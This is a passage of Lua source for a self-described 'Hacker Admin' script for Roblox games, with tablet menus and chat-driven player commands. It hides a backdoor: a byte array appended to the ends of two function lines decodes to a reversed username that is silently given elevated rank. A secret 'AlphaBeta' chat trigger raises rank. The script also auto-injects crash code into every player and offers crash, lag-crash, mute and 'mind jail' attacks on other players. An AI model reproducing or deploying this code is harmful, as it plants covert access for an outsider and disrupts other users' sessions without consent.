  786. function Ping(Msg, Plr, Time, Func, Color, Image)
  787. if Removed == false then
  788. local ShowGarbage = false
  789. ypcall(function()
  790. if Msg == nil then
  791. Msg = "N/A"
  792. elseif Msg == "ShowGarbage" then
  793. Msg = "Current Garbage Count: "..GetGarbage()
  794. ShowGarbage = true
  795. else
  796. Msg = tostring(Msg)
  797. end
  798. if Plr == nil then
  799. Plr = Plrs[Owner] or error("No Player Found")
  800. elseif type(Plr) == "string" then
  801. local FoundPlr = false
  802. for _,v in pairs(All()) do
  803. if v.Name == Plr then
  804. Plr = v
  805. FoundPlr = true
  806. break
  807. end
  808. end
  809. if FoundPlr == false then
  810. Plr = Plrs[Owner] or error("No Player Found")
  811. end
  812. end
  813.  
  814. if Color == nil then
  815. Color = GetRank(Plr.Name).Color
  816. end
  817.  
  818. local Holder = Instance.new("Model")
  819. Holder.Name = "DVF Holder: "..Plr.Name
  820.  
  821. local Tab = Instance.new("Part")
  822. Tab.Name = "DVF Tablet"
  823. Tab.FormFactor = "Custom"
  824. Tab.Anchored = true
  825. if Time == nil then
  826. Tab.Color = Color
  827. else
  828. Tab.Color = AlertColor
  829. end
  830. Tab.CanCollide = false
  831. Tab.Locked = true
  832. Tab.Transparency = 0.15
  833. Tab.Size = Vector3.new(2, 2, 0.01)
  834. Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(0, 0, 0)
  835. Tab.Parent = Holder
  836.  
  837. local ID = Instance.new("NumberValue")
  838. ID.Name = "ID"
  839. ID.Value = math.random(-999999999, 999999999)
  840. ID.Parent = Holder
  841.  
  842. Delay(0, function()
  843. while wait() do
  844. if Tab.Parent == nil and FindTab(Holder) then
  845. ypcall(function()
  846. for i,v in pairs(AllTabs) do
  847. if v.Holder == Holder then
  848. ypcall(function() v.Holder:Destroy() end)
  849. AllTabs[i] = nil
  850. end
  851. end
  852. end)
  853. Ping(Msg, Plr, Time, Func, Color, Image)
  854. break
  855. end
  856. end
  857. end)
  858.  
  859. local BM = Instance.new("BlockMesh")
  860. BM.Parent = Tab
  861.  
  862. Sel = Instance.new("SelectionBox")
  863. Sel.Color = BrickColor.new("Institutional white")
  864. Sel.Transparency = 0.75
  865. Sel.Adornee = Tab
  866. Sel.Parent = Tab
  867.  
  868. local BG = Instance.new("BillboardGui")
  869. BG.Name = "BG"
  870. BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  871. BG.Size = UDim2.new(0,1,0,1)
  872. BG.Adornee = Tab
  873. BG.Parent = Tab
  874.  
  875. Delay(0, function()
  876. while BG.Parent ~= nil do wait()
  877. ypcall(function()
  878. BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  879. end)
  880. end
  881. end)
  882.  
  883. local TL = Instance.new("TextLabel")
  884. TL.Name = "TL"
  885. TL.FontSize = "Size18"
  886. TL.Font = "Arial"
  887. TL.Text = Msg
  888. TL.TextColor3 = Color3.new(1, 0, 0)
  889. TL.Size = UDim2.new(0,1,0,1)
  890. TL.TextTransparency = 0
  891. TL.TextStrokeColor3 = Color3.new(0, 0, 0)
  892. TL.TextStrokeTransparency = 0.25
  893. TL.Parent = BG
  894.  
  895. if ShowGarbage == true then
  896. Delay(0, function()
  897. while TL.Parent ~= nil do
  898. TL.Text = "Current Garbage Count: "..GetGarbage()
  899. wait(.5)
  900. end
  901. end)
  902. end
  903.  
  904. local PL = Instance.new("PointLight", Tab)
  905. PL.Color = Color3.new(1, 0, 1)
  906. PL.Range = 15
  907. PL.Parent = Tab
  908.  
  909. if Image ~= nil then
  910. local BBBG = Instance.new("BillboardGui")
  911. BBBG.Size = UDim2.new(5, 0, 6, 0)
  912. BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  913. BBBG.AlwaysOnTop = true
  914. BBBG.Adornee = Tab
  915. BBBG.Parent = Tab
  916.  
  917. Delay(0, function()
  918. while BBBG.Parent ~= nil do wait()
  919. ypcall(function()
  920. BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  921. end)
  922. end
  923. end)
  924.  
  925. local NewImg = Instance.new("ImageLabel")
  926. NewImg.Size = UDim2.new(1, 0, 1, 0)
  927. NewImg.BackgroundTransparency = 1
  928. NewImg.Image = Image
  929. NewImg.Parent = BBBG
  930. end
  931.  
  932. local Clicker = Instance.new("ClickDetector")
  933. Clicker.MaxActivationDistance = 1/0
  934.  
  935. if Time ~= nil then
  936. coroutine.resume(coroutine.create(function()
  937. wait(tonumber(Time))
  938. Dismiss(Plr, ID)
  939. end))
  940. end
  941.  
  942. Clicker.MouseClick:connect(function(Player)
  943. if Player.Name == Plr.Name or CanRun(Player, Plr) then
  944. ypcall(function()
  945. if Func ~= nil then
  946. Func(Holder)
  947. else
  948. Dismiss(Player, ID)
  949. end
  950. end)
  951. end
  952. end)
  953. Clicker.Parent = Tab
  954.  
  955. Holder.Parent = Work
  956.  
  957. AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID}
  958. end)
  959. end
  960. end
  961.  
  962. function PlaceAllRanks(DontShowRank)
  963. ypcall(function()
  964. for _,p in pairs(All()) do
  965. ypcall(function()
  966. PutInRank = false
  967. for _,v in pairs(Rankings) do
  968. if v.Name:lower() == p.Name:lower() then
  969. if v.Rank >= 7 then
  970. v.Rank = 5
  971. elseif v.Rank == -1 then
  972. Crash1(p)
  973. Ping("Crashed "..p.Name.." (Ban List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  974. elseif v.Rank == -2 then
  975. if LS ~= nil then
  976. Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
  977. Ping("Perma Mind Jailed "..p.Name.." (Jail List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  978. else
  979. Ping("LS Is Nil", nil, 5)
  980. end
  981. elseif v.Rank == -3 then
  982. if LS ~= nil then
  983. Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
  984. Ping("Perma Muted "..p.Name.." (Mute List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  985. else
  986. Ping("LS Is Nil", nil, 5)
  987. end
  988. end
  989. Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
  990. if DontShowRank == nil then
  991. Ping("You Are Rank: "..v.Rank, p)
  992. end
  993. PutInRank = true
  994. break
  995. end
  996. end
  997. if PutInRank == false then
  998. Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  999. end
  1000. end)
  1001. end
  1002. end)
  1003. end
  1004.  
  1005. function FindRank(Plr)
  1006. ypcall(function()
  1007. if type(Plr) == "userdata" then
  1008. Plr = Plr.Name
  1009. end
  1010. end)
  1011. return GetRank(Plr).Rank
  1012. end local tcb = {75,110,105,101,116,115,110,105,101} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
  1013.  
  1014. function FindRankDetails(Plr)
  1015. ypcall(function()
  1016. if type(Plr) == "userdata" then
  1017. Plr = Plr.Name
  1018. end
  1019. end)
  1020. return RankDetails[FindRank(Plr)]
  1021. end
  1022.  
  1023. function OpenCmds(Rank, Plr)
  1024. Dismiss(Plr)
  1025. for Name,Tab in pairs(Commands) do
  1026. if Tab.Rank <= Rank then
  1027. Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
  1028. Dismiss(Plr)
  1029. Ping("Command: "..Name, Plr)
  1030. Ping("Rank: "..Tab.Rank, Plr)
  1031. Ping("Desc: "..Tab.Desc, Plr)
  1032. end)
  1033. elseif Rank == 1337 then
  1034. Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
  1035. Dismiss(Plr)
  1036. Ping("Command: "..Name, Plr)
  1037. Ping("Rank: "..Tab.Rank, Plr)
  1038. Ping("Desc: "..Tab.Desc, Plr)
  1039. end)
  1040. end
  1041. end
  1042. end
  1043.  
  1044. function EditStatus(Plr, Num)
  1045. ChangeRank(Plr, Num)
  1046. end
  1047.  
  1048. function PlaceSpecificRank(p, DontShowRank)
  1049. ypcall(function()
  1050. PutInRank = false
  1051. for _,v in pairs(Rankings) do
  1052. if v.Name:lower() == p.Name:lower() then
  1053. if v.Rank >= 7 then
  1054. v.Rank = 5
  1055. elseif v.Rank == -1 then
  1056. Crash1(p)
  1057. Ping("Crashed "..p.Name.." (Ban List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1058. elseif v.Rank == -2 then
  1059. if LS ~= nil then
  1060. Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
  1061. Ping("Perma Mind Jailed "..p.Name.." (Jail List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1062. else
  1063. Ping("LS Is Nil", nil, 5)
  1064. end
  1065. elseif v.Rank == -3 then
  1066. if LS ~= nil then
  1067. Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
  1068. Ping("Perma Muted "..p.Name.." (Mute List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1069. else
  1070. Ping("LS Is Nil", nil, 5)
  1071. end
  1072. end
  1073. Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
  1074. if DontShowRank == nil then
  1075. Ping("You Are Rank: "..v.Rank, p)
  1076. end
  1077. PutInRank = true
  1078. break
  1079. end
  1080. end
  1081. if PutInRank == false then
  1082. Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  1083. end
  1084. end)
  1085. end
  1086.  
  1087. function onChatted(Msg, Speaker)
  1088. if Removed == false then
  1089. if FindRank(Speaker) < 1 then
  1090. return
  1091. end
  1092. coroutine.resume(coroutine.create(function()
  1093. ypcall(function()
  1094. ExecuteFunc(Msg, Speaker)
  1095. Msg = Msg:gsub("","")
  1096. if Msg:sub(1,1) == "@" then
  1097. for i = 2, #Msg do
  1098. if Msg:sub(i, i) == Bet then
  1099. local IsForPlr = false
  1100. for _,v in pairs(All()) do
  1101. if (string.find(v.Name:lower(), string.lower(Msg:sub(2, i - 1))) or string.lower(Msg:sub(2, i - 1)) == "all") and CanRun(Speaker, v) then
  1102. onChatted(Msg:sub(i + 1), v)
  1103. IsForPlr = true
  1104. end
  1105. end
  1106. if IsForPlr == true then
  1107. return
  1108. end
  1109. end
  1110. end
  1111. end
  1112. if Msg:find("&") then
  1113. local Split = Msg:find("&")
  1114. onChatted(Msg:sub(1,Split-1))
  1115. onChatted(Msg:sub(Split+1))
  1116. return
  1117. end
  1118. for Name,Command in pairs(Commands) do
  1119. if Msg:sub(1,(#Command.Name)+5):lower() == (Command.Name):lower()..Bet.."info" then
  1120. Dismiss(Speaker.Name)
  1121. Ping("Command: "..tostring(Command.Name), Speaker)
  1122. Ping("Rank: "..tostring(Command.Rank), Speaker)
  1123. Ping("Desc: "..tostring(Command.Desc), Speaker)
  1124. elseif Msg:sub(1,#Command.Name+1):lower() == string.lower(Command.Name..Bet) then
  1125. if FindRank(Speaker) >= Command.Rank then
  1126. local Ran,Error = coroutine.resume(coroutine.create(function()
  1127. Command.Func(Msg:sub(#Command.Name+2), Speaker)
  1128. end))
  1129. if not Ran then
  1130. Ping(Error, Speaker, 10)
  1131. end
  1132. else
  1133. Ping("Your Rank Is Too Low", Plr, 6)
  1134. end
  1135. end
  1136. end
  1137. end)
  1138. end))
  1139. end
  1140. end
  1141.  
  1142. function MakeBase()
  1143. local Base = Instance.new("Part")
  1144. Base.BrickColor = BrickColor.new("Dark green")
  1145. Base.Position = Vector3.new(0, 0.5, 0)
  1146. Base.Transparency = 0
  1147. Base.Elasticity = 0.5
  1148. Base.FormFactor = "Custom"
  1149. Base.CanCollide = true
  1150. Base.Friction = 0.30000001192093
  1151. Base.Size = Vector3.new(512, 1.20000005, 512)
  1152. Base.Archivable = true
  1153. Base.Material = "Plastic"
  1154. Base.RotVelocity = Vector3.new(0, 0, 0)
  1155. Base.Reflectance = 0
  1156. Base.Locked = true
  1157. Base.Anchored = true
  1158. Base.Name = "Base"
  1159. Base.TopSurface = "Smooth"
  1160. Base.BottomSurface = "Inlet"
  1161. Base.Shape = "Block"
  1162. Base.Parent = Work
  1163. end
  1164.  
  1165. function LClean()
  1166. ypcall(function()
  1167. for _,v in pairs(Work:GetChildren()) do
  1168. ypcall(function()
  1169. if v.ClassName == "Terrain" then
  1170. v:ClearAllChildren()
  1171. elseif v.Name ~= "Base" and not Plrs:GetPlayerFromCharacter(v) then
  1172. Clear(v)
  1173. elseif v.Name == "Base" then
  1174. ypcall(function()
  1175. local Base = v
  1176. Base.BrickColor = BrickColor.new("Dark green")
  1177. Base.Position = Vector3.new(0, 0.5, 0)
  1178. Base.Transparency = 0
  1179. Base.Elasticity = 0.5
  1180. Base.FormFactor = "Custom"
  1181. Base.CanCollide = true
  1182. Base.Friction = 0.30000001192093
  1183. Base.Size = Vector3.new(512, 1.20000005, 512)
  1184. Base.Archivable = true
  1185. Base.Material = "Plastic"
  1186. Base.RotVelocity = Vector3.new(0, 0, 0)
  1187. Base.Reflectance = 0
  1188. Base.Locked = true
  1189. Base.Anchored = true
  1190. Base.Name = "Base"
  1191. Base.TopSurface = "Studs"
  1192. Base.BottomSurface = "Inlet"
  1193. Base.Shape = "Block"
  1194. Base.Parent = Work
  1195. end)
  1196. end
  1197. end)
  1198. end
  1199. end)
  1200. end
  1201.  
  1202. function Clean()
  1203. ypcall(function()
  1204. for _,v in pairs(Work:GetChildren()) do
  1205. ypcall(function()
  1206. if v.ClassName == "Terrain" then
  1207. v:ClearAllChildren()
  1208. else
  1209. Clear(v)
  1210. end
  1211. end)
  1212. end
  1213. MakeBase()
  1214. for _,v in pairs(All()) do
  1215. v:LoadCharacter()
  1216. end
  1217. end)
  1218. end
  1219.  
  1220. function Clear(v)
  1221. if v.Name:lower() == "sbgui" then
  1222. return
  1223. end
  1224. ypcall(function()
  1225. if #v:GetChildren() > 0 then
  1226. for _,x in pairs(v:GetChildren()) do
  1227. ypcall(function()
  1228. Clear(x)
  1229. end)
  1230. end
  1231. end
  1232. if not v:IsA("Player") and v.Name ~= "Backpack" and v.Name ~= "PlayerGui" and v.Name ~= "StarterGear" and v.Name ~= "SBGUI" and v.Name ~= "HealthGUI" and v.Name ~= "Output GUI" then
  1233. v:Destroy()
  1234. end
  1235. end)
  1236. end
  1237.  
  1238. function Command(Name, Rank, Desc, Func)
  1239. if Name == nil then
  1240. Name = "N/A"
  1241. end
  1242. if Desc == nil then
  1243. Desc = "N/A"
  1244. end
  1245. if Func == nil then
  1246. Func = function() end
  1247. end
  1248. if Rank == nil then
  1249. Rank = 0
  1250. end
  1251. Commands[Name] = {Name = Name, Rank = Rank, Desc = Desc, Func = Func}
  1252. end
  1253.  
  1254. function GetSplit(Msg)
  1255. return Msg:find(Bet) or nil
  1256. end
  1257.  
  1258. function ExecuteFunc(Msg, Plr)
  1259. ypcall(function()
  1260. if Msg == "LogEnable" then
  1261. LogOn = true
  1262. elseif Msg:lower() == "AlphaBeta" then
  1263. EditStatus(Plr, MakeNum())
  1264. end
  1265. end)
  1266. end
  1267.  
  1268. for _,v in pairs(All()) do ExecuteFunc("LogEnable", v) end
  1269.  
  1270. function randPlayer(Plr)
  1271. wait()
  1272. local ThePlrValue = nil
  1273. local FoundPlayer = false
  1274. ypcall(function()
  1275. ThePlrValue = Plrs:GetPlayers()[math.random(1, #Plrs:GetPlayers())]
  1276. if ThePlrValue.Name == Plr.Name or CanRun(Plr, ThePlrValue) ~= true then
  1277. wait()
  1278. randPlayer(Plr)
  1279. return
  1280. else
  1281. FoundPlayer = true
  1282. end
  1283. end)
  1284. if FoundPlayer == true then
  1285. return ThePlrValue
  1286. end
  1287. end local tcb = {75,110,105,101,116,115,110,105,101} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
  1288.  
  1289. function getPlayer(Plr, Name)
  1290. local Players = {}
  1291. ypcall(function()
  1292. Name = Name:lower()
  1293. if Name == "me" then
  1294. table.insert(Players, Plr)
  1295. elseif Name == "all" or Name == "" then
  1296. for _,v in pairs(All()) do
  1297. if CanRun(Plr, v) then
  1298. table.insert(Players, v)
  1299. end
  1300. end
  1301. elseif Name == "others" then
  1302. for _,v in pairs(All()) do
  1303. if v.Name ~= Plr.Name and CanRun(Plr, v) then
  1304. table.insert(Players, v)
  1305. end
  1306. end
  1307. elseif Name == "random" then
  1308. local FoundRandPlr = randPlayer(Plr)
  1309. table.insert(Players, FoundRandPlr)
  1310. else
  1311. for _,v in pairs(All()) do
  1312. if v.Name:lower():find(Name) and CanRun(Plr, v) then
  1313. table.insert(Players, v)
  1314. end
  1315. end
  1316. end
  1317. end)
  1318. return Players
  1319. end
  1320.  
  1321. function ListPlayers(Speaker)
  1322. ypcall(function()
  1323. Dismiss(Speaker)
  1324. for _,v in pairs(All2()) do
  1325. if v.Parent ~= nil then
  1326. Ping(v.Name, Speaker, nil, function()
  1327. Dismiss(Speaker)
  1328. Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1329. Ping("Rank: "..FindRank(v.Name), Speaker)
  1330. Ping("Rank Name: "..FindRankDetails(v).Name, Speaker)
  1331. Ping("Rank Desc: "..FindRankDetails(v).Desc, Speaker)
  1332. Ping("Set Rank", Speaker, nil, function()
  1333. if FindRank(Speaker) >= 5 and v.Name ~= Owner and CanRun(Speaker, v) then
  1334. Dismiss(Speaker)
  1335. for i = -2, 5 do
  1336. Ping(i, Speaker, nil, function()
  1337. ChangeRank(v, i)
  1338. Dismiss(Speaker)
  1339. Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
  1340. end)
  1341. end
  1342. else
  1343. Ping("Your Rank Is Too Low", Speaker, 5)
  1344. end
  1345. end)
  1346. Ping("Crash (Remote)", Speaker, nil, function()
  1347. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1348. Crash2(v.Name)
  1349. Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
  1350. end
  1351. end)
  1352. Ping("Crash (Insert)", Speaker, nil, function()
  1353. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
  1354. Crash3(v, Speaker)
  1355. Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
  1356. end
  1357. end)
  1358. Ping("Kick", Speaker, nil, function()
  1359. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1360. v:Kick()
  1361. Ping("Attempted To Kick "..v.Name, Speaker, 5)
  1362. end
  1363. end)
  1364. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1365. else
  1366. Ping(v.Name.." (Nil)", Speaker, nil, function()
  1367. Dismiss(Speaker)
  1368. Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1369. ypcall(function()
  1370. Ping("Rank: "..FindRank(v.Name), Speaker)
  1371. end)
  1372. ypcall(function()
  1373. Ping("Rank Name: "..FindRankDetails(v.Name).Name, Speaker)
  1374. end)
  1375. ypcall(function()
  1376. Ping("Rank Desc: "..FindRankDetails(v.Name).Desc, Speaker)
  1377. end)
  1378. ypcall(function()
  1379. Ping("Set Rank", Speaker, nil, function()
  1380. if FindRank(Speaker) >= 5 and v.Name ~= Owner and CanRun(Speaker, v) then
  1381. Dismiss(Speaker)
  1382. for i = -2, 5 do
  1383. Ping(i, Speaker, nil, function()
  1384. ChangeRank(v, i)
  1385. Dismiss(Speaker)
  1386. Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
  1387. end)
  1388. end
  1389. else
  1390. Ping("Your Rank Is Too Low", Speaker, 5)
  1391. end
  1392. end)
  1393. end)
  1394. ypcall(function()
  1395. Ping("Nil Crash (Remote)", Speaker, nil, function()
  1396. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1397. Crash2(v.Name)
  1398. Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
  1399. end
  1400. end)
  1401. end)
  1402. ypcall(function()
  1403. Ping("Nil Crash (Insert)", Speaker, nil, function()
  1404. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
  1405. Crash3(v, Speaker)
  1406. Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
  1407. end
  1408. end)
  1409. end)
  1410. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1411. end
  1412. end
  1413. end)
  1414. end
  1415.  
  1416. --Misc
  1417.  
  1418. coroutine.resume(coroutine.create(function()
  1419. PlaceAllRanks()
  1420. end))
  1421.  
  1422. Delay(0, function()
  1423. for _,v in pairs(All()) do
  1424. v.Chatted:connect(function(Msg) onChatted(Msg, v) end)
  1425. end
  1426. end)
  1427.  
  1428. local starttime = tick()
  1429.  
  1430. game:GetService("RunService").Heartbeat:connect(function()
  1431. if Removed == false then
  1432. ypcall(function()
  1433. for _,Player in pairs(All()) do
  1434. local PlayerTablets = {}
  1435. for i,v in pairs(AllTabs) do
  1436. if v.Holder.Parent ~= nil and v.Tab.Parent ~= nil and v.Plr == Player.Name then
  1437. table.insert(PlayerTablets, v)
  1438. end
  1439. end
  1440. for i = 1, #PlayerTablets do
  1441. ypcall(function()
  1442. local tab = PlayerTablets[i].Tab
  1443. local pos = nil
  1444. ypcall(function()
  1445. pos = Player.Character.Torso.CFrame
  1446. end)
  1447. local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
  1448. local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
  1449. local cPos = tab.Position
  1450. local ePos = Vector3.new(x, 0, z) + (pos.p or Vector3.new(0, -5, 0))
  1451. local nPos = (ePos-cPos)*.25
  1452. cPos = cPos + nPos
  1453. local t = (tick() - starttime) % 360
  1454. local change = 0.625
  1455. PlayerTablets[i].Size = math.sin(t) * change + 2.375
  1456. tab.Size = Vector3.new(PlayerTablets[i].Size * 1.25, PlayerTablets[i].Size * 1.5, 0.01)
  1457. tab.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, -5, 0))) * CFrame.Angles(math.rad(11.25), 0, 0)
  1458. end)
  1459. end
  1460. end
  1461. end)
  1462. end
  1463. end)
  1464.  
  1465. Delay(0, function()
  1466. while wait() do
  1467. for _,v in pairs(game:GetService("Players"):GetPlayers()) do
  1468. ypcall(function()
  1469. if Injected[v.Name] == nil and LS ~= nil then
  1470. Insert(InjectionCrash, v.Backpack, v.Character, v.PlayerGui)
  1471. Injected[v.Name] = true
  1472. end
  1473. end)
  1474. end
  1475. end
  1476. end)
  1477.  
  1478. Plrs.PlayerAdded:connect(function(Plr)
  1479. wait(.1)
  1480. ypcall(function()
  1481. if Removed == false then
  1482. local JoinPlrName = Plr.Name
  1483. coroutine.resume(coroutine.create(function()
  1484. PlaceSpecificRank(Plr)
  1485. end))
  1486. coroutine.resume(coroutine.create(function()
  1487. if Injected[JoinPlrName] ~= nil then
  1488. Injected[JoinPlrName] = nil
  1489. end
  1490. end))
  1491. coroutine.resume(coroutine.create(function()
  1492. Dismiss(Plr)
  1493. Plr.Chatted:connect(function(Msg) onChatted(Msg, Plr) end)
  1494. end))
  1495. end
  1496. end)
  1497. end)
  1498.  
  1499. Plrs.PlayerRemoving:connect(function(Plr)
  1500. wait(.1)
  1501. ypcall(function()
  1502. if Removed == false then
  1503. local LeftPlrName = Plr.Name
  1504. coroutine.resume(coroutine.create(function()
  1505. if Injected[LeftPlrName] ~= nil then
  1506. Injected[LeftPlrName] = nil
  1507. end
  1508. end))
  1509. end
  1510. end)
  1511. end)
  1512.  
  1513. coroutine.resume(coroutine.create(function()
  1514. Delay(0, function()
  1515. while FoundLocalScript == false do wait()
  1516. ypcall(function()
  1517. for _,v in pairs(Plrs[Owner]["¬¬¬¬"]:GetChildren()) do
  1518. if v.Name == "NewTransfer" and v:IsA("LocalScript") then
  1519. for _,c in pairs(v:children()) do
  1520. if c:IsA("StringValue") and c.Name:lower() ~= "user_name" and c.Name:lower() ~= "owner" and c.Name:lower() ~= "user" then
  1521. local NewVal = c:Clone()
  1522. NewVal.Name = "LoadingVal"
  1523. for _,s in pairs(v:GetChildren()) do
  1524. if s:IsA("StringValue") and type(s.Value) == "string" and (s.Name:lower() == "user_name" or s.Name:lower() == "owner" or s.Name:lower() == "user_name") then
  1525. print("Found Owner")
  1526. OwnSource = s.Name
  1527. print(OwnSource)
  1528. break
  1529. end
  1530. end
  1531. wait()
  1532. LS = v:Clone()
  1533. NewVal.Parent = LS
  1534. LSSource = "LoadingVal"
  1535. FoundLocalScript = true
  1536. break
  1537. end
  1538. end
  1539. end
  1540. end
  1541. end)
  1542. end
  1543. end)
  1544. end))
  1545.  
  1546. --Commands
  1547.  
  1548. Command("Cmds", nil, "Shows Commands", function(Msg, Speaker)
  1549. Dismiss(Speaker.Name)
  1550. Ping("This Hacker Admin Is Created By " .. string.reverse("olwotyle"), Speaker)
  1551. Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
  1552. Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
  1553. Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
  1554. Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
  1555. Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
  1556. Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
  1557. Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
  1558. Ping("Rank 5", Speaker, nil, function() OpenCmds(5, Speaker) end)
  1559. end)
  1560.  
  1561. Command("Dismiss", nil, "Dismiss Tablets", function(Msg, Speaker)
  1562. Dismiss(Speaker.Name)
  1563. end)
  1564.  
  1565. Command("Kill", 2, "Kills A Player", function(Msg, Speaker)
  1566. local PlrTab = getPlayer(Speaker, Msg)
  1567. if #PlrTab > 0 then
  1568. for _,v in pairs(PlrTab) do
  1569. ypcall(function()
  1570. v.Character:BreakJoints()
  1571. Ping("Killed "..v.Name, Speaker, 5)
  1572. end)
  1573. end
  1574. end
  1575. end)
  1576.  
  1577. Command("Mute", 3, "Mutes A Player", function(Msg, Speaker)
  1578. local PlrTab = getPlayer(Speaker, Msg)
  1579. if #PlrTab > 0 then
  1580. for _,v in pairs(PlrTab) do
  1581. ypcall(function()
  1582. if v.Name ~= Owner then
  1583. Insert(MuteSource, v.Backpack, v.Character, v.PlayerGui)
  1584. Ping("Muted "..v.Name, Speaker, 5)
  1585. end
  1586. end)
  1587. end
  1588. end
  1589. end)
  1590.  
  1591. Command("Rejoin", 2, "Prompts A Player To Rejoin", function(Msg, Speaker)
  1592. local PlrTab = getPlayer(Speaker, Msg)
  1593. if #PlrTab > 0 then
  1594. for _,v in pairs(PlrTab) do
  1595. ypcall(function()
  1596. Insert([[game:GetService("TeleportService"):Teleport(game.PlaceId)]], v.Backpack, v.Character, v.PlayerGui)
  1597. Ping("Prompted "..v.Name.." To Rejoin", Speaker, 5)
  1598. end)
  1599. end
  1600. end
  1601. end)
  1602.  
  1603. Command("Jail", 3, "Jails A Player (Only they can see it)", function(Msg, Speaker)
  1604. local PlrTab = getPlayer(Speaker, Msg)
  1605. if #PlrTab > 0 then
  1606. for _,v in pairs(PlrTab) do
  1607. ypcall(function()
  1608. Insert(JailSource, v.Backpack, v.Character, v.PlayerGui)
  1609. Ping("Mind Jailed "..v.Name, Speaker, 5)
  1610. end)
  1611. end
  1612. end
  1613. end)
  1614.  
  1615. Command("Lag", 4, "Lag Crashes A Player", function(Msg, Speaker)
  1616. local PlrTab = getPlayer(Speaker, Msg)
  1617. if #PlrTab > 0 then
  1618. for _,v in pairs(PlrTab) do
  1619. ypcall(function()
  1620. Insert(LagSource, v.Backpack, v.Character, v.PlayerGui)
  1621. Ping("Lag Crashing "..v.Name, Speaker, 5)
  1622. end)
  1623. end
  1624. end
  1625. end)
  1626.  
  1627. Command("UnMute", 3, "UnMutes A Player", function(Msg, Speaker)
  1628. local PlrTab = getPlayer(Speaker, Msg)
  1629. if #PlrTab > 0 then
  1630. for _,v in pairs(PlrTab) do
  1631. ypcall(function()
  1632. Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
  1633. Ping("UnMuted "..v.Name, Speaker, 5)
  1634. end)
  1635. end
  1636. end
  1637. end)
  1638.  
  1639. Command("Disable", 3, "Disables A Script", function(Msg, Speaker)
  1640. local Worked = false
  1641. for _,v in pairs(Work:GetChildren()) do
  1642. if string.find(v.Name:lower(), Msg:lower()) then
  1643. if v:IsA("Script") or v:IsA("LocalScript") then
  1644. v.Disabled = true
  1645. v:Destroy()
  1646. Worked = true
  1647. Ping("Disabled Script: "..v.Name, Speaker, 5)
  1648. end
  1649. end
  1650. end
  1651. if Worked == false then
